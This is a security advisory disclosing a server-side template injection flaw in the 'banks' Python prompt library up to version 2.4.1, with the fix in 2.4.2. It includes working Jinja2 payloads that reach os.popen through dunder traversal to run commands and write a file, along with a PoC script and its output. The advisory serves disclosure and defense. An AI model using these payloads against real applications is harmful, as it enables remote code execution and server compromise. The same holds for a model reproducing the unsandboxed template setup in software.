banks has Critical Remote Code Execution (RCE) via Jinja2 SSTI

Summary

banks <= 2.4.1 uses jinja2.Environment() (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to Prompt() are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system.

This is a vulnerability in how banks initializes its Jinja2 environment — not in Jinja2 itself.

Vulnerable

Code

src/banks/env.py — the global Jinja2 environment is created without sandboxing:

env = Environment(
    autoescape=select_autoescape(enabled_extensions=("html", "xml"), default_for_string=False),
    ...
)

Attack

Scenario

An application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to Prompt() is vulnerable. For example:

# User-controlled input reaches Prompt()
user_input = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(user_input)
p.text()  # Executes arbitrary command on the host

Proof of

Concept

Setup: ``bash pip install banks==2.4.1 ``

PoC script: ``python from banks import Prompt payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}" p = Prompt(payload) result = p.text() print(f"[+] Output: {result}") ``

Confirmed output: `` [+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),... text **File-write proof:** ``python

from banks import Prompt

p = Prompt("{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo POC > /tmp/rce_banks_exec').read() }}") p.text() `` ``bash

ls -l /tmp/rce_banks_exec # -rw-rw-r-- 1 ak ak 4 Apr 27 15:36 /tmp/rce_banks_exec `` ## Impact Applications that allow end-users to supply or customize prompt templates are at risk of full Remote Code Execution, including arbitrary command execution, data exfiltration, and server compromise. ## Fix Fixed in banks 2.4.2 (PR #74) by switching to jinja2.sandbox.SandboxedEnvironment, which blocks the dunder attribute traversal chain this exploit relies on. Developers on banks <= 2.4.1 should upgrade to 2.4.2 and avoid passing untrusted user input as the template argument to Prompt()`. ## Resources - Fix: https://github.com/masci/banks/pull/74 - CVE-2024-41950 (Haystack — identical root cause, CVSS 7.5) - CVE-2025-25362 (spacy-llm — identical root cause) - CWE-1336: Improper Neutralization of Special Elements in a Template Engine